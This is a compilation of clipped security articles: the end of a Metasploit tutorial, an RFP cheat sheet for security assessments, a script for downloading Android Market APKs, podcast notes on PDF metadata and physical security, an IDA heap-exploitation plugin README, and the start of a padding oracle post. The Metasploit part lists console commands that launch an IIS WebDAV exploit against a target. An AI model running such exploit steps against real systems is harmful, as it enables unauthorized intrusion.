them to cause mischief.

You can perform the steps here with just about any form of Linux® or other
operating system from the command line or shell. You may have to look up
specifics for your environment, but this process should give you an
understanding of what's going on.

To use Metasploit to run an exploit, perform the following steps:

  1. Download WHAX 3.0 for Linux \(see Resources\).
  2. From the command line, type the following command to launch the Metasploit console:
[code]    # " ./msfconsole "

    
    
[/code]  
---  
  

  3. Choose an exploit to use against your target system. Three commands are available for this purpose:
     * **`use`:** Specify an exploit.
     * **`show`:** Display information in context.
     * **`info`:** Provide details about a specific module.
[code]        <!--[if !supportLists]-->use

        <!--[if !supportLists]-->show
        <!--[if !supportLists]--><!--[endif]-->info
        
        
[/code]  
---  
  

The format of the command you use to run an exploit is:

[code]        “use <exploit name>”

        
        
[/code]  
---  
  

  4. Type the following command to start the exploit:
[code]    use iis50_webdav_ntdll"

    
    
[/code]  
---  
  

Configuring the exploit

After you've selected your exploit, you need to configure how it will run.
Specifically, you must specify the destination IP address and port against
which to run the exploit. The `set` command allows you to specify
configuration options; if you include the `show advanced` command, you'll be
shown any options you can configure.

Use the following command to set options:

[code]

    set RHOST <your test machine's IP address>
    
    
[/code]  
---  
  

Then, press the Enter key. Next, type this code on the following line:

[code]

    set RPORT 80
    
    
[/code]  
---  
  

To perform a check to see whether the exploit functioned, type:

[code]

    check
    
    
[/code]  
---  
  

The results you get depend on the target.

If your check fails, you may need to configure other options for the target
system—for example, details of the operating system.

Next, type:

[code]

    show targets 
    
    
[/code]  
---  
  

Depending on the exploit, you may see additional information regarding the
exploit, such as which services support it.

The perfect attack

You insert the Metasploit payload—also known as shell code— directly into the
buffer that you're overflowing. In most cases, the payload is very specific,
and which one you choose depends on the operating system and architecture of
your target.

Back to top

Conclusion

This article provided a high-level introduction to using Metasploit to provide
a generic overview of your system's vulnerabilities. With a bit of work and
research, you can develop your own exploits. After developing exploits, you
can determine whether your applications and systems are vulnerable to exploits
such as buffer overflows and holes such as SQL injections.

  

Resources

**Learn**

  * The developerWorks Web development zone is packed with tools and information for Web 2.0 development.   
  

  * Stay current with IBM technical events and webcasts.  
  

  * Check out My developerWorks where you can find or create groups, blogs, and activities about Web development or anything else that interests you.  
  

**Get products and technologies**

  * The Nessus vulnerability scanner provides several important scanning features, such as high-speed discovery, asset profiling, and vulnerability analysis.   
  

  * The SAINT vulnerability scanner offers the only integrated vulnerability assessment and penetration testing tools available.   
  

  * Nmap is a free, open source utility for network exploration or security auditing.   
  

  * Visit the Metasploit site for more information about the tool as well as tutorials and other resources.   
  

  * WHAX is the natural evolution of WHoppix—a live CD, stand-alone penetration testing toolkit from Softpedia.   
  

About the author

Sean-Philip Oriyano has been actively working in the IT field since 1990.
Throughout his career, he has held positions such as support specialist to
consultants and senior instructor. Currently, he is an IT instructor who
specializes in infrastructure and security topics for various public and
private entities. Sean has instructed for the U.S. Air Force, U.S. Navy, and
U.S. Army at locations both in North America and internationally. Sean is
certified as a CISSP, CHFI, CEH, CEI, CNDA, SCNP, SCPI, MCT, MCSE, and MCITP,
and he is a member of EC-Council, ISSA, Elearning Guild, and Infragard. You
can reach Sean at sean.oriyano@gmail.com.

# Lenny Zeltser - Cheat Sheet for Authors of Information Security RFPs

**Created:**| _5/9/2009 10:40:05 AM_  
---|---  
**Updated:**| _5/9/2009 10:40:25 AM_  
**Author:**| __  
**Tags:**| _cheat sheets_  
  

# Information Security Assessment RFP Cheat Sheet

This cheat sheet offers tips for planning, issuing and reviewing Request for
Proposal \(RFP\) documents for information security assessments. To print, use
the one-sheet PDF version; you can also edit the Word version for you own
needs.

This write-up aims at helping your organization receive security RFP responses
best suited for your requirements. I respond to a fair number of security
assessment RFPs; this cheat sheet shares my perspective on the RFP process.

## Planning the Security Assessment RFP

Consider whether you'll benefit from issuing the RFP or whether a less formal
process is better for you.

If you're not familiar with the services you need, consider issuing an RFI,
rather than an RFP.

Understand what's driving your need for the security assessment, so you can be
specific in the RFP.

Identify the individuals who should participate in the development of the RFP
and in the review of responses.

Consider whether your environment is ready to be assessed, or whether it's
best to wait.

Understand and confirm your staff's availability during the assessment to
support the project.

Identify and avoid conflicts with other projects during the assessment \(e.g.,
rollout of a new application\).

In the RFP, describe the benefits of working with your organization to entice
more vendors to respond.

## Supporting the RFP Process

Consider various teams' perspectives \(legal, IT, audit, etc.\) to ensure
support for the RFP and the assessment.

Decide on a realistic timeline for the RFP process, allocating sufficient time
for a responses and review.

Confirm a realistic budget for the assessment, accounting for your
requirements and market prices.

Clarify how the RFP responses should be submitted \(email, fax, paper mail,
etc.\) and who will receive them.

Request itemized pricing from the RFP responders, to simplify the comparison
of proposed services and costs.

Define the process for receiving timely answers to the questions you may have
after reviewing RFP responses.

## Defining the Assessment's Details

What business and IT objectives, including compliance requirements, should the
assessment support?

What milestones and timeline \(dates for starting, ending, performing testing,
etc.\) do you require?

What reports and other deliverables do you expect to receive? \(For reports,
outline desired table of contents.\)

What type of a security assessment do you need \(vulnerability assessment,
penetration testing, etc.\)?

What is a "must have" and what is a "nice to have" for the desired assessment?

Describe the size of the environment in scope for the assessment \(number of
systems, applications, etc.\)

Consider requiring an NDA if an RFP responder asks for sensitive details for
preparing a response.

## Distributing the RFP

Decide whether you'll benefit from a large pool of RFP responders or whether
you prefer hand-picking the vendors whom you'll invite to respond.

Consider finding potential RFP responders by researching speakers and authors
who've demonstrated security assessment expertise.

If you maintain a list of firms interested in your RFPs, contact them; if you
don't, consider creating such a list.

To meet promising RFP responder, participate in security events \(SANS,
Infragard, ISSA, OWASP, etc.\).

Request a commitment to respond by a specific date, so you know whether to
expect a sufficient number of RFP responses; if necessary, invite additional
responders.

Consider sharing the RFP with the vendors with whom you already have a good
working relationship.

Define a process for handling the RFP responders' questions fairly and
comprehensively.

## Selecting the Security Assessment Vendor

Assess the expertise of the individuals the vendor will assign to your
security assessment.

Confirm the availability of the vendor's staff in accordance to your timeline
and location requirements.

Consider inquiring about the background checks the vendor performed on the
staff assigned to the project.

Examine the vendor's project management capabilities.

Define, for yourself, vendor selection criteria and assign weighs to each
factor based on its importance to you.

Consider what information about the vendor's companies you require \(e.g.,
revenue, locations, etc.\).

Ask clarifying questions from RFP responses before making your selection.

Inquire about the vendors' references for the type of project you're looking
to conduct.

Review the vendor's sample assessment reports.

## Typical Elements of an RFP Document

  * About Your Organization: Outline the nature of your business, workforce size, location details, etc.
  * RFP Process: Clarify selection criteria, RFP timeline, submission guidelines, vendor qualifications, etc.
  * Assessment Requirements: Discuss assessment objectives, scope, your infrastructure details, etc.
  * Assessment Deliverables: Explain the expected deliverables, including reports and discussions.
  * Terms and Conditions: Include the text provided by your organization's legal and procurement teams.

## Definitions

Request for Proposal \(RFP\): A structured document used to solicit proposals
for services or products

Request for Information \(RFI\): A document, often less formal than an RFP,
used to assess available offerings

Non-Disclosure Agreement \(NDA\): A contract requiring the parties to protect
sensitive data they exchange

Security assessment: A structured test of IT infrastructure, usually used to
assess security posture

## Additional RFP References

Beyond the Template: Writing an RFP That Works

Outsourcing Essentials: Perfecting the RFP

Truths and Tips on the Flawed RFP Process

## Post-Scriptum

I provide security consulting services \(including assessments\) at Savvis.
I'll be glad to consider your security assessment RFP, if you share it with
me.

Special thanks for feedback to Hana Park and Jefferey Saiger. If you have
suggestions for improving this cheat sheet, please let me know.

This cheat sheet is distributed according to the Creative Commons v3
"Attribution" License. File version 1.4.

Take a look at my other security cheat sheets.

  

**About the Author:** Lenny Zeltser leads the security consulting practice at
Savvis. His team provides security assessments, design, and operational
assistance for business-critical IT infrastructure. Lenny also teaches malware
analysis at SANS Institute, explores security topics at conferences and in
articles, and volunteers as an incident handler at the Internet Storm Center.

# Downloading APKs from Android Market | thomascannon.net
**Created:**| _11/20/2011 10:45:34 AM_  
---|---  
**Updated:**| _11/20/2011 10:45:34 AM_  
**Author:**| __  
**Tags:**| _android_  
  

## Downloading APKs from Android Market

Sometimes I need to get hold of an Android application from the Market for
analysis. One way to do this is to manually use the Market on an Android
device or emulator, install the App, and then copy it off. For various reasons
this isn’t always ideal – I sometimes don’t want to install an App if I don’t
know what it does, and I may want to get it a lot faster \(i.e. automate it\).

In this post I share what worked for me in creating a command line script to
login to the Market and download the application’s APK. This isn’t anything
particularly new as an unofficial Market API already exists for searching the
Market and Tim Strazzere posted some Java source to emulate a download
request. However, in Tim’s example you have to manually specify the App’s
**`assetID`** and your **`authToken`** which means it isn’t automated. What I
wanted was a script which takes a package name as a parameter and downloads
it. To achieve this I used the Market API to login, get an **`authToken`** ,
search for the package, get its **`assetID`** , and then submit a download
request.

I’ve documented this for interest, it isn’t supported software and there isn’t
much error checking. If you use this it is assumed you know what you are
doing.

What was used:

  * Linux with PHP including curl support
  * Rooted Android phone \(I used a spare development phone\)
  * Temporary GMail account associated with phone
  * PHP Android Market API by Splitfeed
  * ADB from the Android SDK

I’m using Ubuntu Linux and PHP with curl support. To install it you need
something like this:

[code]

    sudo apt-get install php5-curl
    
[/code]

The first step is to get the Android Market **`userID`** which is required in
the download request for APKs. I’m not aware of an easy way to get this at the
moment but it is simple enough to sniff from the real Market App and only
needs to be done once. Tim Strazzere comes to the rescue again with a nice tip
for easily sniffing traffic on Android.

Open up the Market App on the device and find an app to install, start the
following ADB command and then click install:

[code]

    adb shell tcpdump -vv -s 0 -w /sdcard/output.cap
    
[/code]

After install hit **`Ctrl+C`** to to stop sniffing. Open up the **`.cap`**
file in something like wireshark and look for a GET request which contains the
**`deviceID`** and **`userID`** parameters and make a note of them. I found
that on my phone the GET request was different from the one in Tim’s post, it
had extra parameters and when I manually emulated it I was given a 302
redirect to download the file. However, using the older GET request as per
Tim’s post and ignoring the extra parameters seems to still work and leads to
the direct download of the APK.

Download PHP Android Market API and unzip it somewhere. In the subfolder
**`examples`** create a file called **`local.php`** with the following
contents \(replacing my values with yours\):

[code]

    <?php
    define('GOOGLE_EMAIL','youremail@gmail.com');
    define('GOOGLE_PASSWD','yourpassword');
    // Use a random number with the same number of digits:
    define('ANDROID_DEVICEID','0000000000000000');
    // Use your real deviceID here that you sniffed:
    define('ANDROID_REALID','0000000000000000000');
    // Use your sniffed userID parameter here:
    define('ANDROID_USERID','00000000000000000000');
    
[/code]

I found that the Market API worked with a fake **`deviceID`** but not my real
one, and the APK download request worked with my real **`deviceID`** but not
the fake one. I didn’t look into it too much as it seems to work okay as
above.

Download test\_download.php.txt and save it in the **`examples`** folder as
**`test_download.php`**.

Edit **`MarketSession.php`** in **`/Market`** so this line:

[code]

    private $authSubToken = "";
    
[/code]

Becomes:

[code]

    public $authSubToken = "";
    
[/code]

Okay that is the preparation. We can now use the script to grab any free app
from the Market by passing the package name as a parameter. In this example I
found a Notepad application on Android Market and saw the package name in the
URL was **`bander.notepad`** , so:

[code]

    user@linux:~/market-api/examples$ php test_download.php bander.notepad
    * About to connect() to android.clients.google.com port 80 (#0)
    *   Trying 74.125.71.139... * connected
    * Connected to android.clients.google.com (74.125.71.139) port 80 (#0)
    > POST /market/api/ApiRequest HTTP/1.1
    User-Agent: Android-Market/2 (sapphire PLAT-RC33); gzip
    Host: android.clients.google.com
    Accept: */*
    Cookie: ANDROID=DQAAAREDACTED
    Content-Type: application/x-www-form-urlencoded
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Content-Length: 586
    
    < HTTP/1.1 200 OK
    < Content-Type: application/binary
    < Date: Sun, 12 Jun 2011 23:34:37 GMT
    < Expires: Sun, 12 Jun 2011 23:34:37 GMT
    < Cache-Control: private, max-age=0
    < X-Content-Type-Options: nosniff
    < X-Frame-Options: SAMEORIGIN
    < X-XSS-Protection: 1; mode=block
    < Content-Length: 140
    < Server: GSE
    < 
    * Connection #0 to host android.clients.google.com left intact
    * Closing connection #0
    
    Downloading Notepad (3073103588488610805)
    
    user@linux:~/market-api/examples$ ls -hl *.apk
    -rw-r--r-- 1 user user 45K 2011-06-13 00:34 bander.notepad.apk
    
[/code]

And now we have the APK. The Market API is actually really good and it can
also get other data about the app such as author, version, what permissions it
needs, screenshots, etc. It would be a fairly trivial enhancement to get the
script to save this extra metadata at the same time as the APK if needed.

# Episode137 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:55:09 PM_  
---|---  
**Updated:**| _8/5/2009 12:55:19 PM_  
**Author:**| __  
**Tags:**| _Metadata security tools pauldotcom security_  
  

# Tech segment: Removing PDF Metadata With Adobe Acrobat Standard/Pro

There are a number of additional tools from third parties, most of which do
require a modest fee to purchase. In preparation for this paper, the author
reviewed several that offered trial versions, and all offered similar
functionality to Acrobat.

All of these tools smaller metadata removal tools are valid, I find that in
many environments, the "official" adobe suite is already in use, especially by
those \(say, in marketing\) that are converting documents for publication
already. This is the time to remove the metadata, in my opinion.

But, what about those documents in PDF format already? This becomes a
significant challenge when documents are converted to PDF format from a third
party conversion tool or other authoring program. These third party converters
often rely and populate the metadata carried over from the original authoring
software. This can be removed by opening the final PDF document in Acrobat
Standard/Pro assuming the document has not been protected.

In order to remove relevant metadata using Acrobat we need to select File,
then Document Properties from the menu. In the new dialog box, we need to
select the Description tag, then Additional Metadata. First, let’s address the
Advanced section.

  
By addressing the Advanced section first, we can delete one item and have it
remove the rest of our Metadata items as a result, including those in the
Description selection, as well as the properties screen. The complete removal
can be accomplished by selecting the PDF Properties parent item and selecting
Delete.

  
All of the tools will still leave behind some information that is required for
proper document utilization and may be required by the software. This can
include software version that created the document in order to check for
document compatibility.

# Tech Segment: Physical Security Matters

This week I attended \(virtually\) the S4 SCADA security conference. One of
the issues that came up during some of the talks was the issue of physical
access. There has been a lot of research published that allows an attacker to
gain sensative information or compromise a device which requires physical
access. Many will disregard this attack vector because they believe that good
physical security will protect them. Lets put this in the context of a device,
for example a control systems device, a firewall device, a wireless access
point, cell phone, or really any other embedded system in your environment.
With physical access to the device an attacker can:

  * Reverse engineer the hardware and software, which then leads to:
    * Finding traditional software vulnerabilities in the firmware
    * Discovering vulnerabilities in the hardware, such as timing attacks allowing you to bypass or modify functionality
    * Stealing the passwords and/or keys stored on the device
    * Inserting malicious hardware or software
    * Uncovering network and/or web-based vulnerabilities

The ability to change the behavior of the device can lead to:

  * DoS attacks \(ala Zune\)
  * Inserting of backdoors for attacker access
  * Ability to control the device functionality \(open a valve, disassociate users, pass traffic through the firewall\)
  * Launchpad for other attacks, such as compromising a workstation connecting to the device

There are many ways in which an attacker gain gain physical access:

  * Insider threat at the manufacturer OR asset owner
  * Social engineering at the manufacturer OR asset owner
  * Dumpster diving, Ebay, Government auction
  * Breaking & Entering

Its important to note that the first two, insider threat and social
engineering, can happen to the manufacturer of the device. So, you as the
asset owner could implement the same level of security as the inauguration,
but still get compromised because the manufacturer has poor physical security
or controls in place to stop social engineering. Its also important to note
that you can gain physical access to a device without leaving your home. For
example, I could call up the manufacturer and pretend to be a potential
customer and ask them to ship me a device. The attack, and your story, would
have to be better than that, but its possible. Even easier, I can just buy the
parts on Ebay.

Moral of the story: Physical security is not just limited to the confines of
your organization. You must run through these scenarios and use them in your
risk calculations. This means you have to take into account a device being
"evil" when you design your security architecture.

# danigargu/heap-viewer

**Created:**| _5/10/2019 8:23:45 AM_  
---|---  
**Updated:**| _5/10/2019 8:23:45 AM_  
**Author:**| __  
**Tags:**| _iDA Heap_  
  

  

# <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='53'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='786' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>HeapViewer

<img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4c6963656e73652d47504c76332d626c75652e737667'
width='96' height='20' />

An IDA Pro plugin to examine the heap, focused on exploit development.

Currently supports the glibc malloc implementation \(ptmalloc2\).

3rd place winner of the 2018 Hex-Rays Plugin Contest

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='54'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='792' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Requirements

  * IDA Pro >= 6.9

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='55'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='796' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Tested on

  * glibc 2.23 <= 2.28 \(x86, x64\)

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='56'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='800' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Features

  * Heap tracer \(malloc/free/calloc/realloc\) 
    * Detection of overlaps and double-frees
    * Visualization using villoc
  * Malloc chunk info
  * Chunk editor
  * Multi-arena info \(chunks, top, last-remainder\)
  * Bins info \(fastbins, unsortedbin, smallbins y largebins\)
  * Tcache info \(glibc >= 2.26\)
  * GraphView for linked lists \(bins/tcache\)
  * Structs view \(malloc\_state / malloc\_par / tcache\_perthread\)
  * Magic utils: 
    * Unlink merge info
    * Freeable/merge info
    * Fake fastbin finder
    * House of force helper
    * Useful libc offsets
    * Calc chunk size \(request2size\)
    * IO\_FILE structs

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='57'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='823' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Install

Just drop the `heap_viewer.py` file and the `heap_viewer` folder into IDA's
plugin directory.

To install just for the current user, copy the files into one of these
directories:

OS | Plugin path  
---|---  
Linux/macOS | `~/.idapro/plugins`  
Windows | `%AppData%\Hex-Rays\IDA Pro\plugins`  
## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='58'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='839' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Configuration

Currently the plugin does not require to be configured, since it tries to
obtain automatically the necessary offsets to analyze the heap.

However, in case the plugin fails, it is possible to set the different offsets
in the configuration tab. To obtain these offsets, you can use any of the
tools located in the `utils` folder.

If you find any inconsistency, let me know :\)

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='59'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='844' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Screenshots

**Tracer**

<img src='img/39698165-fe882786-51f3-11e8-847a-18a5b40a6be2.png' width='833'
height='407' />

**Arena & chunk info**

<img src='img/39698203-2ba59370-51f4-11e8-9b66-c3dfaafadba3.png' width='882'
height='328' />

**Tcache entries**

<img src='img/39698220-4c3d3e94-51f4-11e8-8aea-ef9182c8910f.png' width='721'
height='387' />

**Bins**

<img src='img/39698914-19bf9db0-51f7-11e8-97f4-82ddf84b7e0e.png' width='842'
height='498' />

**Bin graph**

<img src='img/39698795-97abbd90-51f6-11e8-8cbc-475b5e623894.png' width='341'
height='531' />

**Fastbin graph**

<img src='img/39918437-b5e49562-5510-11e8-8437-86da11eb466f.png' width='641'
height='513' />

**Tcache graph**

<img src='img/39926350-3dbbc7e4-552f-11e8-99f9-72e5dd99d421.png' width='327'
height='326' />

**Find fake fastbin**

<img src='img/39698662-f661b11a-51f5-11e8-8796-c852252bd75a.png' width='623'
height='212' />

**Unlink merge info**

<img src='img/39699039-b2740870-51f7-11e8-9e61-ca9407af1793.png' width='413'
height='351' />

**Useful libc offsets**

<img src='img/39698577-b1d40b56-51f5-11e8-8ef8-7711bc2efd32.png' width='767'
height='345' />

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='60'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='866' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Learning Resources

I'd recommend the following resources alongside this tool for learning heap
exploiting.

  * shellphish's how2heap

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='61'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='871' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Author

  * Daniel García Gutiérrez - @danigargu

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='62'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='875' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Contribuitors

Special mention to my colleagues soez, wagiro and DiaLluvioso for give me some
ideas during the development of the plugin. And of course, the @pwndbg
project, from which I picked up some things about heap parsing.

Contributors

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='63'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='880' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />Bugs
/ Feedback / PRs

Any comment, issue or pull request will be highly appreciated :-\)

# On Padding Oracles, CBC-R and timing attacks…

**Created:**| _2/15/2011 8:07:43 AM_  
---|---  
**Updated:**| _2/15/2011 8:08:29 AM_  
**Author:**| __  
**Tags:**| _attacks python .Net crypto programming awesome_  
  

4OCT/101

## On Padding Oracles, CBC-R and timing attacks…

Somewhere before the weekend I was discussing about Padding Oracles with a
friend and somehow it came up that there was no public tool using timing
information for this kind of attacks.

I had seen that Thai and Juliano mentioned timing leaks in their talk at
EkoParty, but since AFAIK there was no public tool available I decided to look
into it. Also, some weeks ago I added the CBC-R encryption part to my scripts,
in order to be able to encrypt arbitrary information as long as we are able to
control the IV.

So in this post I'm going to write about these two things: CBC-R encryption
and a web based padding oracle attack script using timing information.

**CBC-R: Reverting CBC decryption... or encrypting by decrypting\!**

Ok, so if you remember from last post, we have a way to decrypt messages
making use of a padding oracle. So, by providing specially crafted messages
and asking whether the padding is correct or not, we can obtain the plaintext
for a given ciphertext.

Now, can we use this for encryption? Well... the answer in general would be no
unless you perform a bruteforce search to find the ciphertext that leads to
your desired plaintext. However, with CBC mode we have a nice property. When
an entity tries to decrypt something using CBC mode, the plaintext is computed
as follows

<img src='img/Temp2_5800.png' alt='P_i = D_K(C_i) \oplus C_{i-1} ' />

Where <img src='img/Temp2_5796.png' alt='C_0' /> is the initial vector. Now,
